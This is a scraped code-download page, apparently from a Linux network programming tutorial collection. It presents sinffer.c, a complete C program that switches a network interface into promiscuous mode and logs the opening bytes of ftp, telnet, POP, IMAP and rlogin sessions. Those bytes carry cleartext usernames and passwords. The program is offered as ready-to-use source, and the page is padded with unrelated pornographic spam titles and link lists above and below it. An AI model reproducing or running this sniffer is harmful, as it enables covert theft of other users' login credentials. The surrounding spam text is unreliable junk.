亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? sinffer.c

?? Linux網絡編程教程
?? C
字號:
#include <sys/types.h>

#include <sys/socket.h>

#include <sys/time.h>

#include <sys/ioctl.h>

#include <netinet/in.h>

#include <netdb.h>

#include <string.h>

#include <linux/if.h>

#include <signal.h>

#include <stdio.h>

#include <arpa/inet.h>

#include <linux/socket.h>

#include <linux/ip.h>

#include <linux/tcp.h>

#include <linux/if_ether.h>



int openintf(char *);

int read_tcp(int);

int filter(void);

int print_header(void);

int print_data(int, char *);

char *hostlookup(unsigned long int);

void clear_victim(void);

void cleanup(int);



struct etherpacket

{

   struct ethhdr eth;

   struct iphdr  ip;

   struct tcphdr tcp;

   char buff[8192];

}ep;



struct

{

   unsigned long      saddr;

   unsigned long      daddr;

   unsigned short     sport;

   unsigned short     dport;

   int                bytes_read;

   char               active;

   time_t             start_time;

} victim;



struct iphdr  *ip;

struct tcphdr *tcp;

int s;

FILE *fp;



#define CAPTLEN 512

#define TIMEOUT 30

#define TCPLOG "tcp.log"



int openintf(char *d)

{

   int fd;

   struct ifreq ifr;

   int s;

   fd=socket(AF_INET, SOCK_PACKET, htons(0x800));

   if(fd < 0)

   {

      perror("cant get SOCK_PACKET socket");

      exit(0);

   }

   strcpy(ifr.ifr_name, d);

   s=ioctl(fd, SIOCGIFFLAGS, &ifr);

   if(s < 0)

   {

      close(fd);

      perror("cant get flags");

      exit(0);

   }

   ifr.ifr_flags |= IFF_PROMISC;

   s=ioctl(fd, SIOCSIFFLAGS, &ifr);

   if(s < 0) perror("cant set promiscuous mode");

   return fd;

}



int read_tcp(int s)

{

   int x;

   while(1)

   {

      x=read(s, (struct etherpacket *)&ep, sizeof(ep));

      if(x > 1) 

      {

         if(filter()==0) continue;

         x=x-54;

         if(x < 1) continue;

         return x;

      }

   }

}



int filter(void)

{

   int p;

   p=0;

   if(ip->protocol != 6) return 0;

   if(victim.active != 0)   

      if(victim.bytes_read > CAPTLEN)

      {

         fprintf(fp, "\n----- [CAPLEN Exceeded]\n");

         clear_victim();

         return 0;

      }

   if(victim.active != 0)

      if(time(NULL) > (victim.start_time + TIMEOUT))

      {

         fprintf(fp, "\n----- [Timed Out]\n");

         clear_victim();

         return 0;

      }                                                                                                                  

   if(ntohs(tcp->dest)==21)  p=1; /* ftp */

   if(ntohs(tcp->dest)==23)  p=1; /* telnet */

   if(ntohs(tcp->dest)==110) p=1; /* pop3 */

   if(ntohs(tcp->dest)==109) p=1; /* pop2 */

   if(ntohs(tcp->dest)==143) p=1; /* imap2 */

   if(ntohs(tcp->dest)==513) p=1; /* rlogin */

   if(ntohs(tcp->dest)==106) p=1; /* poppasswd */

   if(victim.active == 0)

      if(p == 1)

         if(tcp->syn == 1)

         {

            victim.saddr=ip->saddr;

            victim.daddr=ip->daddr;

            victim.active=1;

            victim.sport=tcp->source;

            victim.dport=tcp->dest;

            victim.bytes_read=0;

            victim.start_time=time(NULL);

            print_header();

         }  

   if(tcp->dest != victim.dport) return 0;

   if(tcp->source != victim.sport) return 0;

   if(ip->saddr != victim.saddr) return 0;

   if(ip->daddr != victim.daddr) return 0;

   if(tcp->rst == 1) 

   {

      victim.active=0;

      alarm(0);

      fprintf(fp, "\n----- [RST]\n");

      clear_victim();

      return 0;

   }

   if(tcp->fin == 1) 

   {

      victim.active=0;

      alarm(0);

      fprintf(fp, "\n----- [FIN]\n");

      clear_victim();

      return 0;

   }

   return 1;

}



   

int print_header(void)

{

   fprintf(fp, "\n");

   fprintf(fp, "%s => ", hostlookup(ip->saddr));

   fprintf(fp, "%s [%d]\n", hostlookup(ip->daddr), ntohs(tcp->dest));   

}



int print_data(int datalen, char *data)

{

   int i=0;

   int t=0;

   

   victim.bytes_read=victim.bytes_read+datalen;

   for(i=0;i != datalen;i++)

   {

      if(data[i] == 13) { fprintf(fp, "\n"); t=0; }

      if(isprint(data[i])) {fprintf(fp, "%c", data[i]);t++;}

      if(t > 75) {t=0;fprintf(fp, "\n");}

   }

}





main(int argc, char **argv)

{

   s=openintf("eth0");

   ip=(struct iphdr *)(((unsigned long)&ep.ip)-2);

   tcp=(struct tcphdr *)(((unsigned long)&ep.tcp)-2);   

   signal(SIGHUP, SIG_IGN);

   signal(SIGINT, cleanup);

   signal(SIGTERM, cleanup);

   signal(SIGKILL, cleanup);

   signal(SIGQUIT, cleanup);

   if(argc == 2) fp=stdout;

   else fp=fopen(TCPLOG, "at");

   if(fp == NULL) { fprintf(stderr, "cant open log\n");exit(0);}

   clear_victim();

   for(;;)

   {

      read_tcp(s);

      if(victim.active != 0) print_data(htons(ip->tot_len)-sizeof(ep.ip)-sizeof(ep.tcp), ep.buff-2);

      fflush(fp);      

   }   

}



char *hostlookup(unsigned long int in)

{ 

   static char blah[1024];

   struct in_addr i;

   struct hostent *he;

   

   i.s_addr=in;

   he=gethostbyaddr((char *)&i, sizeof(struct in_addr),AF_INET);

   if(he == NULL) strcpy(blah, inet_ntoa(i));

   else strcpy(blah, he->h_name);

   return blah;

}



void clear_victim(void)

{

   victim.saddr=0;

   victim.daddr=0;

   victim.sport=0;

   victim.dport=0;

   victim.active=0;

   victim.bytes_read=0;

   victim.start_time=0;

}



void cleanup(int sig)

{

   fprintf(fp, "Exiting...\n");

   close(s);

   fclose(fp);

   exit(0);

}

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
国产美女在线精品| 555夜色666亚洲国产免| 欧美日精品一区视频| 国产亚洲综合av| 亚洲一区二区三区美女| 国产成人福利片| 91精品国产全国免费观看| 最新国产成人在线观看| 久久66热re国产| 欧美日韩一区 二区 三区 久久精品| 2023国产精品自拍| 日韩精品欧美成人高清一区二区| 成人午夜大片免费观看| 精品va天堂亚洲国产| 亚洲成人免费看| 91麻豆文化传媒在线观看| 欧美精品一区二区久久久| 视频一区二区国产| 久久青草国产手机看片福利盒子| 亚洲视频免费看| 国产不卡免费视频| 久久网站热最新地址| 免费一区二区视频| 欧美日韩精品综合在线| 亚洲激情五月婷婷| 不卡av免费在线观看| 国产欧美精品国产国产专区| 国产一区二区三区视频在线播放| 91精品国产乱码久久蜜臀| 亚洲国产精品一区二区久久| 色诱视频网站一区| 亚洲人成精品久久久久| www.亚洲免费av| 成人欧美一区二区三区视频网页| 粉嫩久久99精品久久久久久夜| 精品日韩一区二区三区| 黑人巨大精品欧美一区| 精品国产乱码久久久久久图片| 麻豆91免费看| 久久一二三国产| 国产精品亚洲人在线观看| 久久色.com| 成人综合在线网站| 亚洲欧美另类图片小说| 欧美亚洲日本一区| 视频在线观看91| 日韩一区二区三区av| 久久99国内精品| 久久精品网站免费观看| 99视频在线精品| 亚洲综合色噜噜狠狠| 欧美精品18+| 国产精品资源网站| 国产精品久久久久天堂| 色综合欧美在线| 日产精品久久久久久久性色| 日韩美女一区二区三区四区| 日本韩国一区二区| 五月天激情综合| 久久精品水蜜桃av综合天堂| 91在线观看美女| 日本欧美加勒比视频| 国产欧美日韩视频一区二区 | 国产精品一色哟哟哟| 国产视频911| 欧美揉bbbbb揉bbbbb| 激情偷乱视频一区二区三区| 中文字幕一区二区三| 91精品国产色综合久久不卡电影 | 成人激情小说乱人伦| 一区二区三区欧美激情| 欧美va亚洲va| 色婷婷久久久综合中文字幕| 免费看精品久久片| 亚洲欧洲av色图| 日韩欧美一二三| 色婷婷久久一区二区三区麻豆| 男人的j进女人的j一区| 一色桃子久久精品亚洲| 欧美日本国产视频| 不卡的看片网站| 麻豆精品在线观看| 亚洲综合一二三区| 国产情人综合久久777777| 欧美性生活影院| 成人高清视频在线观看| 另类小说视频一区二区| 亚洲激情自拍视频| 中文字幕欧美激情| 自拍偷拍亚洲激情| 26uuu成人网一区二区三区| 欧美视频精品在线观看| 成人精品鲁一区一区二区| 看片的网站亚洲| 亚洲成在人线在线播放| 《视频一区视频二区| 久久嫩草精品久久久精品一| 欧美精品vⅰdeose4hd| 91免费在线看| 99久久精品国产导航| 国产精品自拍一区| 久草中文综合在线| 青青青伊人色综合久久| 亚洲一区二区中文在线| 综合欧美亚洲日本| 中文字幕精品在线不卡| 26uuu国产日韩综合| 日韩欧美一区在线| 欧美久久久久久久久久| 日本丶国产丶欧美色综合| 99久久免费精品| 成人av网站免费观看| 国产另类ts人妖一区二区| 久久激五月天综合精品| 日本欧美大码aⅴ在线播放| 午夜视频在线观看一区| 午夜视频一区二区| 亚洲二区在线视频| 天天色综合成人网| 蜜臂av日日欢夜夜爽一区| 美日韩一区二区三区| 日本成人在线视频网站| 日韩精品亚洲专区| 久色婷婷小香蕉久久| 蜜臀精品一区二区三区在线观看| 亚洲国产cao| 日本不卡123| 经典三级视频一区| 国产精品一区二区男女羞羞无遮挡| 久久精品国产在热久久| 久久激五月天综合精品| 国产美女在线观看一区| 国产999精品久久久久久绿帽| 成人性色生活片| 色婷婷激情一区二区三区| 欧美日韩三级视频| 日韩一区二区三区视频| 国产亚洲人成网站| 亚洲欧美电影一区二区| 午夜精品福利一区二区三区av| 日韩高清不卡一区二区三区| 美女网站色91| 成人黄页毛片网站| 欧美色综合久久| 亚洲精品一线二线三线| 中文字幕日本乱码精品影院| 亚洲高清免费观看| 国内精品在线播放| 91免费版pro下载短视频| 91精品国产色综合久久久蜜香臀| 久久久久久久综合色一本| 亚洲区小说区图片区qvod| 日本美女视频一区二区| 成人污视频在线观看| 8x8x8国产精品| 国产精品无人区| 日韩福利视频网| 成人h动漫精品一区二区| 欧美日韩精品久久久| 欧美激情中文字幕| 午夜免费欧美电影| 国产69精品久久99不卡| 69久久99精品久久久久婷婷| 国产精品区一区二区三区| 天堂影院一区二区| 91一区二区在线| 国产亚洲婷婷免费| 日韩电影在线一区| 色菇凉天天综合网| 国产精品丝袜在线| 麻豆国产91在线播放| 欧美性色欧美a在线播放| 国产欧美一区二区精品仙草咪| 调教+趴+乳夹+国产+精品| 成人午夜电影小说| 26uuu亚洲综合色| 午夜成人免费电影| 日本韩国欧美一区二区三区| 国产女主播视频一区二区| 日日骚欧美日韩| 在线亚洲一区二区| 国产精品第13页| 福利一区福利二区| 亚洲精品在线观看视频| 欧美aa在线视频| 91精品中文字幕一区二区三区| 亚洲男同性视频| jizzjizzjizz欧美| 一色屋精品亚洲香蕉网站| 国产91精品一区二区麻豆网站| 精品福利av导航| 久久精品国产99国产| 欧美一级日韩免费不卡| 日韩在线卡一卡二| 在线成人av网站| 午夜a成v人精品| 欧美福利一区二区| 日本成人在线网站| 精品美女在线播放| 精品一区二区精品|